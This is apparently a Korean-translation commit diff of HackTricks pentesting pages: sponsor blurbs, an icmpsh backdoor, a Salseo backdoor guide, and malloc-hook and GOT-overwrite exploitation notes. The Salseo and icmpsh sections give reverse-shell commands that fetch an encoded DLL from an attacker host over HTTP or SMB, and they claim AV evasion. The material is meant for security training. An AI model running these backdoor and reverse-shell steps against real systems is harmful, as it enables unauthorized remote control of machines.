modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

View File

@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
@ -45,7 +45,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Intigriti**는 **유럽의 #1** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
**버그 바운티 팁**: **Intigriti**에 **가입**하세요. 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
**버그 바운티 팁**: **Intigriti**에 **가입**하세요. 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -97,11 +97,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
**SerpApi**는 **검색 엔진 결과**에 **빠르고 쉽게** 액세스할 수 있는 실시간 API를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 액세스할 수 있습니다.\
다른 제공업체와 달리 **SerpApi는 단순히 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
여기에서 **무료 계정**을 **생성**할 수 있습니다 [**여기**](https://serpapi.com/users/sign_up)**.**
[**여기**](https://serpapi.com/users/sign_up)에서 **무료 계정을 생성**할 수 있습니다.**
---
@ -109,7 +109,7 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
모바일 애플리케이션과 장치를 보호하기 위해 취약성 연구, 침투 테스트 및 리버스 엔지니어링을 수행하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 iOS 및 Android 보안**마스터**하고 **인증을 받으세요**:
모바일 애플리케이션과 장치를 보호하기 위해 취약성 연구, 침투 테스트 및 리버스 엔지니어링을 수행하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 **iOS 및 Android 보안**마스터하고 **인증을 받으세요**:
{% embed url="https://academy.8ksec.io/" %}
@ -119,13 +119,13 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 줍니다. **공격 보안 서비스**를 제공하는 **현대적인** 접근 방식을 가지고 있습니다.
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**니다.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
백도어를 다운로드하려면: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# 클라이언트 측
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
스크립트를 실행하세요: **run.sh**
**오류가 발생하면 다음 줄을 변경해 보세요:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**대상:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **피해자 측**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
**icmpsh.exe**를 피해자에게 업로드하고 실행합니다:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## 바이너리 컴파일
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
소스 코드를 github에서 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
사용할 윈도우 박스의 아키텍처에 맞게 프로젝트를 컴파일하세요(Windows가 x64를 지원하면 해당 아키텍처로 컴파일하세요).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
**Visual Studio**의 **왼쪽 "Build" 탭**에서 **"Platform Target"**을 통해 **아키텍처를 선택**할 수 있습니다.
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*이 옵션을 찾을 수 없다면 **"Project Tab"**을 클릭한 후 **"\<Project Name> Properties"**를 클릭하세요)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
그런 다음 두 프로젝트를 빌드하세요 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## 백도어 준비
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
우선, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 **encrypterassembly.py**라는 파이썬 스크립트를 사용하거나 **EncrypterAssembly** 프로젝트를 컴파일할 수 있습니다.
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
### 윈도우
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
이제 모든 Salseo 작업을 실행하는 데 필요한 것이 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 바이너리.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**SalseoLoader.exe 바이너리를 머신에 업로드하세요. 어떤 AV에도 탐지되지 않아야 합니다...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **백도어 실행**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **TCP 리버스 셸 얻기 (HTTP를 통해 인코딩된 dll 다운로드)**
nc를 리버스 셸 리스너로 시작하고 인코딩된 evilsalsa를 제공할 HTTP 서버를 시작하는 것을 잊지 마세요.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **UDP 리버스 셸 얻기 (SMB를 통한 인코딩된 dll 다운로드)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
리버스 셸 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공할 SMB 서버를 시작하는 것을 잊지 마세요 (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **ICMP 리버스 셸 얻기 (피해자 내부에 이미 인코딩된 dll)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**이번에는 리버스 셸을 수신하기 위해 클라이언트에 특별한 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP 응답 비활성화:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### 클라이언트 실행:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### 피해자 내부에서 salseo 작업을 실행해 보겠습니다:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## SalseoLoader를 DLL로 컴파일하여 메인 함수 내보내기
## Compiling SalseoLoader as DLL exporting main function
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### 메인 함수 앞에 추가: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### 이 프로젝트에 DllExport 설치
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **도구** --> **NuGet 패키지 관리자** --> **솔루션용 NuGet 패키지 관리...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **DllExport 패키지 검색(탭에서 찾아보기 사용), 설치를 누르고(팝업을 수락)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
프로젝트 폴더에 **DllExport.bat****DllExport_Configure.bat** 파일이 나타났습니다.
### **U**ninstall DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
**Uninstall**을 누릅니다(이상하게 들리지만 믿어주세요, 필요합니다).
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Visual Studio 종료 및 DllExport_configure 실행**
Just **exit** Visual Studio
그냥 **Visual Studio를 종료**합니다.
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
그런 다음, **SalseoLoader 폴더**로 가서 **DllExport_Configure.bat**를 실행합니다.
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
**x64**를 선택합니다(64비트 박스 내에서 사용할 경우, 제 경우가 그랬습니다), **System.Runtime.InteropServices**를 선택합니다(**DllExport의 네임스페이스 내**) 그리고 **적용**을 누릅니다.
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Visual Studio로 프로젝트 다시 열기**
**\[DllExport]** should not be longer marked as error
**\[DllExport]**가 더 이상 오류로 표시되지 않아야 합니다.
![](<../images/image (8) (1).png>)
### Build the solution
### 솔루션 빌드
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
**출력 유형 = 클래스 라이브러리**를 선택합니다(프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리).
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
**x64** **플랫폼**을 선택합니다(프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64).
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
**솔루션을 빌드**하려면: 빌드 --> 솔루션 빌드(출력 콘솔에 새 DLL의 경로가 나타납니다).
### Test the generated Dll
### 생성된 Dll 테스트
Copy and paste the Dll where you want to test it.
Execute:
테스트할 위치에 Dll을 복사하고 붙여넣습니다.
실행:
```
rundll32.exe SalseoLoader.dll,main
```
오류가 나타나지 않으면, 아마도 기능하는 DLL이 있는 것입니다!!
If no error appears, probably you have a functional DLL!!
## DLL을 사용하여 셸 얻기
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요.
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>HackTricks 지원하기</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# 임의 쓰기 2 실행

View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
공식 GNU 사이트에 따르면, 변수 **`__malloc_hook`**는 **`malloc()`가 호출될 때마다 호출될 함수의 주소를 가리키는 포인터로, libc 라이브러리의 데이터 섹션에 저장됩니다**. 따라서 이 주소가 예를 들어 **One Gadget**으로 덮어쓰여지면 `malloc`이 호출될 때 **One Gadget이 호출됩니다**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
`malloc`을 호출하기 위해 프로그램이 호출할 때까지 기다리거나 **`printf("%10000$c")`**를 호출하여 너무 많은 바이트를 할당하여 `libc`가 힙에 할당하도록 할 수 있습니다.
More info about One Gadget in:
One Gadget에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> GLIBC >= 2.34에서는 후크가 **비활성화되어 있습니다**. 최신 GLIBC 버전에서 사용할 수 있는 다른 기술이 있습니다. 참조: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
이는 정렬되지 않은 빈 공격을 남용한 후 빠른 빈 공격을 남용한 예제 중 하나에서 악용되었습니다:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
이진 파일에 기호가 있는 경우 다음 명령어로 `__free_hook`의 주소를 찾을 수 있습니다:
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[이 포스트에서](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) 기호 없이 free hook의 주소를 찾는 방법에 대한 단계별 가이드를 찾을 수 있습니다. 요약하자면, free 함수에서:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -45,24 +43,24 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
이전 코드에서 언급된 중단점에서 `$eax`에는 free hook의 주소가 위치하게 됩니다.
Now a **fast bin attack** is performed:
이제 **fast bin attack**이 수행됩니다:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- 우선, **`__free_hook`** 위치에서 **200 크기의 빠른 청크**로 작업할 수 있다는 것이 발견되었습니다:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- 이 위치에서 0x200 크기의 빠른 청크를 얻으면 실행될 함수 포인터를 덮어쓸 수 있습니다.
- 이를 위해 0xfc 크기의 새로운 청크를 생성하고 그 포인터로 병합된 함수를 두 번 호출하여 0xfc*2 = 0x1f8 크기의 해제된 청크에 대한 포인터를 얻습니다.
- 그런 다음, 이 청크에서 edit 함수를 호출하여 이 빠른 빈의 **`fd`** 주소를 이전 **`__free_hook`** 함수로 가리키도록 수정합니다.
- 그런 다음, 0x1f8 크기의 청크를 생성하여 빠른 빈에서 이전의 쓸모없는 청크를 가져오고, 또 다른 0x1f8 크기의 청크를 생성하여 **`__free_hook`**에서 빠른 빈 청크를 가져오고, 이를 **`system`** 함수의 주소로 덮어씁니다.
- 마지막으로, 문자열 `/bin/sh\x00`을 포함하는 청크가 삭제 함수 호출로 해제되어 **`__free_hook`** 함수가 호출되고, 이 함수는 `/bin/sh\x00`을 매개변수로 하여 system을 가리킵니다.
## References

View File

@ -2,86 +2,86 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **기본 정보**
### **GOT: Global Offset Table**
### **GOT: 전역 오프셋 테이블**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
**전역 오프셋 테이블 (GOT)**은 동적으로 연결된 바이너리에서 **외부 함수의 주소**를 관리하는 메커니즘입니다. 이러한 **주소는 런타임까지 알려지지 않기 때문에** (동적 연결로 인해), GOT는 이러한 외부 기호의 주소가 해결된 후 **동적으로 업데이트할 수 있는 방법**을 제공합니다.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
GOT의 각 항목은 바이너리가 호출할 수 있는 외부 라이브러리의 기호에 해당합니다. **함수가 처음 호출될 때, 실제 주소는 동적 링커에 의해 해결되어 GOT에 저장됩니다**. 이후 동일한 함수에 대한 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
### **PLT: Procedure Linkage Table**
### **PLT: 프로시저 링크 테이블**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
**프로시저 링크 테이블 (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출할 때, 제어는 해당 함수와 연결된 PLT의 항목으로 전달됩니다**. 이 PLT 항목은 함수의 주소가 아직 해결되지 않은 경우 동적 링커를 호출하여 주소를 해결하는 역할을 합니다. 주소가 해결된 후, 그것은 **GOT**에 저장됩니다.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**따라서,** GOT 항목은 외부 함수나 변수의 주소가 해결된 후 직접 사용됩니다. **PLT 항목은 이러한 주소의 초기 해결을 동적 링커를 통해 용이하게 하기 위해 사용됩니다.**
## Get Execution
## 실행 가져오기
### Check the GOT
### GOT 확인
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
GOT 테이블의 주소를 가져오려면: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
GEF에서 **실행 파일을 로드한 후** **GOT에 있는 함수**를 **볼 수 있는 방법**을 관찰하세요: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
GEF를 사용하여 **디버깅** 세션을 시작하고 **`got`**를 실행하여 GOT 테이블을 확인할 수 있습니다:
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
바이너리에서 GOT는 **함수의 주소** 또는 **PLT** 섹션의 주소를 가지고 있어 함수 주소를 로드합니다. 이 임의 쓰기의 목표는 **나중에 실행될 함수의 GOT 항목을** **`system`** **함수의 PLT 주소로 덮어쓰는 것입니다**.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
이상적으로는, **당신이 제어하는 매개변수로 호출될 함수의 GOT를 덮어써야 합니다** (그래야 시스템 함수에 전달되는 매개변수를 제어할 수 있습니다).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
바이너리가 **`system`**을 사용하지 않는 경우, 시스템 함수는 PLT에 항목이 없습니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 **유출**한 다음 GOT를 이 주소를 가리키도록 덮어써야 합니다.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
PLT 주소는 **`objdump -j .plt -d ./vuln_binary`**로 확인할 수 있습니다.
## libc GOT entries
## libc GOT 항목
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**libc의 GOT**는 일반적으로 **부분 RELRO**로 컴파일되어 있어, 주소를 파악할 수 있다면 좋은 목표가 됩니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
libc의 일반적인 함수는 **다른 내부 함수**를 호출할 것이며, 이 함수의 GOT는 코드 실행을 얻기 위해 덮어쓸 수 있습니다.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
이 기술에 대한 [**자세한 정보는 여기에서 확인하세요**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
힙 익스플로잇 CTF에서는 청크의 내용을 제어할 수 있고, 심지어 GOT 테이블을 덮어쓸 수 있는 경우가 많습니다. 가용한 원가젯이 없을 때 RCE를 얻기 위한 간단한 트릭은 `free` GOT 주소를 `system`을 가리키도록 덮어쓰고 청크 안에 `"/bin/sh"`를 쓰는 것입니다. 이렇게 하면 이 청크가 해제될 때 `system("/bin/sh")`가 실행됩니다.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
